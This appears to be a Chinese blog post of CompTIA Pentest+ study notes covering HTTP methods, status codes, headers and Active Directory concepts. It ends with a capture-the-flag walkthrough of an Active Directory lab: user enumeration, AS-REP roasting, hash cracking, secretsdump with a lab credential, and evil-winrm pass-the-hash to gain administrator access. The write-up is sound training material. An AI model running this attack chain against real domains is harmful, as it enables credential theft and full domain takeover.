CompTIA Pentest+

关于学习后CompTIA Pentest+笔记

渗透测试工具

讲述了nmap,burp Suite,Metasploit,Nessus,hydra的入门使用

nmap:https://www.cnblogs.com/-Lucky-/p/17100073.html

burp Suite:

Metasploit:

hydra:

基于应用程序的漏洞

详细的http

讲述了什么是http(超文本传输​​协议),https(超文本传输​​协议安全)

url的请求响应:https://www.kancloud.cn/nickpang/phper/2400753

http方法(维基百科)

https://developer.mozilla.org/en-US/docs/web/http/methods

GET:这用于从 Web 服务器获取信息。
HEAD:该HEAD方法请求与请求相同的响应GET,但没有响应主体。
POST:该POST方法将实体提交到指定的资源,通常会导致状态发生变化或对服务器产生副作用。
PUT:该PUT方法将目标资源的所有当前表示替换为请求负载。
DELETE:该DELETE方法删除指定的资源。
CONNECT:该CONNECT方法建立到目标资源标识的服务器的隧道。
OPTIONS:该OPTIONS方法描述了目标资源的通信选项。
TRACE:该TRACE方法沿到目标资源的路径执行消息环回测试。
PATCH:该PATCH方法对资源应用部分修改。

HTTP状态码

HTTP状态代码:
这些状态代码可以分为 5 个不同的范围:

100-199 - 信息响应	发送这些消息是为了告诉客户他们的请求的第一部分已被接受,他们应该继续发送请求的其余部分。这些代码不再很常见。
200-299 - 成功	此范围的状态代码用于告诉客户端他们的请求已成功。
300-399 - 重定向	这些用于将客户端的请求重定向到另一个资源。这可以是不同的网页或完全不同的网站。
400-499 - 客户端错误	用于通知客户他们的请求有错误。
500-599 - 服务器错误	这是为服务器端发生的错误保留的,通常表示服务器处理请求时出现了相当大的问题。

常见的HTTP状态代码:

有很多不同的 HTTP 状态代码,这还不包括应用程序甚至可以定义自己的状态代码,我们将介绍您可能遇到的最常见的 HTTP 响应:

100 Continue:当客户端提交一个包含主题的请求时,将发送这个响应。该响应表示已收到请求消息头
,客户端应继续发送主体。请求完成后,再由服务器返回另一个响应。
200 OK:
201 Created:表示请求已成功提交
301 Moved Permanently:重定向到另一个url,以后客户端将使用新的url替换原始的url,意思该网站换了一个新的域名
302 Found:暂时重定向到另外一个新的url
304 Not Modified:本状态码指示浏览器使用缓存中保存的所请求的资源
400 Bad Request:表示提交了一个无效的HTTP请求
401 Unauthorized:服务器要求HTTP进行身份验证
403 Forbidden:禁止任何人访问被请求的资源
404 Not Found:表示请求的资源不存在
413 Request Entity Too Large:请求主体过长,服务器无法处理。
414 Request URL Too Large:请求的URL过长,服务器无法处理。
500 Internal Server Error:内部服务器错误。
503 Server Unavailable:服务不可用。

request headers

referer :用于表示发出请求的原始url
User-Agent:提供与浏览器或其他生成请求的客户端软件有关的信息
host:用于指定出现在被访问的完整url中的主机名称
Cookie:用于提交服务器向客户端发布的其他参数

HTTP响应
server:指明所使用的web服务器软件
Set-Cookie:向浏览器发送另一个Cookie,它将在随后向服务器发送的请求中由Cookie消息头返回
Pragma:指示浏览器不要将响应保存在缓存中
Content-Length:规定消息主体的字节长度

HTTP方法
最常用的方法为get和post
get方法的作用在于获取资源
post方法的主要作用是执行操作
还有HEAD,TRACE,OPTIONS,PUT等

HTTP消息头
常用消息头
Connection:用于告诉通信的另一端,在完成HTTP传输后是关闭TCP连接,还是保持连接开放以接收其他消息
Content-Encoding:消息体中的内容指定编码格式(如gzip)
Content-Type:消息体中的内容类型。类如HTML文档类型为text/html,图片类型为image/png,image/jpg等

请求消息头
Accept:告诉服务器客户端愿意接受哪些内容,如图像类型,办公文档格式等
Accept-Encoding:告诉服务器愿意接受哪些内容编码
host:用于指定出现在被访问的完整url中的主机名称
Cookie:用于提交服务器向客户端发布的其他参数
referer :用于表示发出请求的原始url
User-Agent:提供与浏览器或其他生成请求的客户端软件有关的信息
If-None-Match:指定实体标签,实体标签是一个说明消息主体内容的标识符,当最后一次收到所请求的资源时,浏览器提交服务发布的实体标签,服务器可以通过实体标签确定浏览器是否使用资源缓存副本
If-Modified-Since:说明浏览器最后一次收到请求的时间,如果资源没有变化,服务器就会发出一个带状态码304的响应

响应消息头
Connection(连接类型):表示客户端与服务器的连接类型。
Cache-Control:这个消息头用于向浏览器传送缓存指令(如no-cache)。
ETag:这个消息头用于指定一个实体标签。客户端可在将来的请求中提交这个标识符。获得和If-None-Match消息头中相同的资源,通知服务器浏览器当前缓存中保存的是哪个版本的资源。
Expires:这个消息头用于向浏览器说明消息主体内容的有效时间。在这个时间之前,浏览器可以使用这个资源的缓存副本。
Location:这个消息头用于在重定向响应(那些状态码以3开头的响应)中说明重定向的目标。
Pragma:这个消息头用于向浏览器传送缓存指令(如no-cache).

Server:这个消息头提供所使用的Web服务器软件的相关信息。
Set-Cookie:这个消息头用于向浏览器发布cookie.浏览器会在随后的请求中将其返回给服务器。
WWW-Authenticate:这个消息头用在带401状态码的响应中,提供与服务器所支持的身份验证类型有关的信息。
X-Frame-Options:这个消息头指示浏览器框架是否及如何加载当前响应。

request Cookie

cookie,它们只是存储在您计算机上的一小段数据。当您从网络服务器收到“Set-Cookie”标头时,Cookie 将被保存。然后,您发出的每一个进一步请求,都会将 cookie 数据发送回网络服务器。由于HTTP是无状态的(不跟踪您之前的请求),cookie 可用于提醒网络服务器您的身份、网站的一些个人设置或您以前是否访问过该网站。

OWASP 前 10 名

整理过的(部分)
https://www.cnblogs.com/-Lucky-/p/17165623.html

基于网络的漏洞

(部分)
https://www.cnblogs.com/-Lucky-/p/17173531.html

本地主机漏洞

Active Directory Basics

Windows 域是一组受特定企业管理的用户和计算机。域背后的主要思想是将 Windows 计算机网络的公共组件的管理集中在一个名为Active Directory (AD)的存储库中。运行 Active Directory 服务的服务器称为域控制器 (DC)。

配置 Windows 域的主要优点是:
集中身份管理:网络中的所有用户都可以轻松地从 Active Directory 进行配置。
管理安全策略:您可以直接从 Active Directory 配置安全策略,并根据需要将它们应用于网络中的用户和计算机。

Windows 域的核心都是Active Directory 域服务 (AD DS)

在 AD 支持的众多对象中,我们有用户、组、机器、打印机、共享和许多其他对象。

用户

用户是 Active Directory 中最常见的对象类型之一。用户是被称为安全主体的对象之一,这意味着他们可以通过域进行身份验证,并且可以被分配对文件或打印机等资源的特权。您可以说安全主体是一个可以作用于网络资源的对象。

用户可用于表示两种类型的实体:
人员:用户通常代表组织中需要访问网络的人员,例如员工。
服务:您还可以定义用户以供 IIS 或 MSSQL 等服务使用。每个服务都需要一个用户才能运行,但服务用户与普通用户不同,因为他们只拥有运行其特定服务所需的权限。

机器

机器是 Active Directory 中的另一种对象。对于加入 Active Directory 域的每台计算机,都会创建一个机器对象。机器也被认为是“安全主体”,并像任何普通用户一样被分配一个帐户。此帐户在域本身内的权限有限。

机器帐户本身是指定计算机上的本地管理员,通常不应被除计算机本身之外的任何人访问,但与任何其他帐户一样,如果您有密码,则可以使用它登录

安全组

可以定义用户组以将对文件或其他资源的访问权限分配给整个组而不是单个用户。这允许更好的可管理性,因为您可以将用户添加到现有组,并且他们将自动继承该组的所有权限。安全组也被视为安全主体,因此可以对网络上的资源拥有特权。

组	            描述
域管理员	    该组的用户对整个域具有管理权限。默认情况下,他们可以管理域中的任何计算机,包括 DC。
服务器运营商	该组中的用户可以管理域控制器。他们不能更改任何管理组成员身份。
备份操作员	    该组中的用户可以访问任何文件,而忽略他们的权限。它们用于在计算机上执行数据备份。
帐户操作员	    该组中的用户可以创建或修改域中的其他帐户。
域用户	        包括域中所有现有的用户帐户。
域计算机	    包括域中的所有现有计算机。
域控制器	    包括域中所有现有的 DC。

身份验证的方法

使用 Windows 域时,所有凭据都存储在域控制器中。每当用户尝试使用域凭据对服务进行身份验证时,该服务将需要请求域控制器验证它们是否正确。Windows 域中可以使用两种协议进行网络身份验证:

Kerberos:由任何最新版本的 Windows 使用。这是任何最近域中的默认协议。
NetNTLM:为兼容性目的而保留的旧身份验证协议。

树木、森林和信托

树木
Active Directory 支持集成多个域,因此您可以将网络划分为可以独立管理的单元。如果您有两个共享相同名称空间的域(thm.local在我们的示例中),则可以将这些域加入到树中

如果我们的thm.local域分为英国和美国分支机构的两个子域,您可以构建一个树,其中包含一个根域thm.local和两个名为uk.thm.local和 的子域us.thm.local,每个子域都有其 AD、计算机和用户:

这种分区结构使我们能够更好地控制谁可以访问域中的内容。来自英国的 IT 人员将拥有自己的 DC,仅管理英国的资源。例如,英国用户将无法管理美国用户。这样,每个分支机构的域管理员将完全控制各自的 DC,但不能控制其他分支机构的 DC。也可以为树中的每个域独立配置策略。

森林

您管理的域也可以配置在不同的命名空间中。假设您的公司继续发展并最终收购了另一家公司MHT Inc.,当两家公司合并时,您可能会为每个公司拥有不同的域树,每个公司都由自己的 IT 部门管理。将具有不同名称空间的几棵树联合到同一个网络中称为森林。

信任关系

在树和森林中组织多个域可以让您在管理和资源方面拥有一个很好的划分网络。但在某个时刻,THM UK 的用户可能需要访问 MHT ASIA 服务器之一中的共享文件。为此,排列在树和森林中的域通过信任关系连接在一起。

简单来说,在域之间建立信任关系可以授权域中的用户 THM UK访问域中的资源 MHT EU。

Attacktive Directory(攻击性目录)

任务三
nmap -sC -sV -v 10.10.123.23
发现445端口
进行枚举即可
enum4linux -a 10.10.123.23 2>/dev/null >smb1.txt


登录格式是 spookysec.local\User 在 Window 的登录提示中
任务四
tips:Kerberos:https://github.com/ropnop/kerbrute

./kerbrute_linux_amd64 -d spookysec.local --dc 10.10.123.23 userenum userlist.txt 即可

任务五
爆破
python GetNPUsers.py -no-pass -usersfile ./users.txt -dc-ip 10.10.123.23 spooky.local/
可得svc-admin与其hash值
查看 https://hashcat.net/wiki/doku.php?id=example_hashes 可知
Kerberos 5 AS-REQ etype 23
爆破
john --wordlist=password.txt hash.txt

任务六

使用smbclient来映射远程 SMB 共享
smbclient -L 10.10.123.23 -U svc-admin
运行共享
smbclient //10.10.123.23/backup -U svc-admin
get 文件名下载到本地
base64解码

任务七
# python /opt/impacket/examples/secretsdump.py spookysec.local/backup:backup2517860@10.10.158.42

# evil-winrm:https://github.com/Hackplayers/evil-winrm:
这个 shell 是用于黑客攻击/渗透测试的终极 WinRM shell。
Windows 远程管理


evil-winrm -u administrator -H 0e0363213e37b94221497260b0bcb4fc -i 10.10.158.42

此时拿到管理员权限都在
flag在用户对应的桌面上

posted @ 2023-03-11 10:22  gvpn  阅读(102)  评论(0编辑  收藏  举报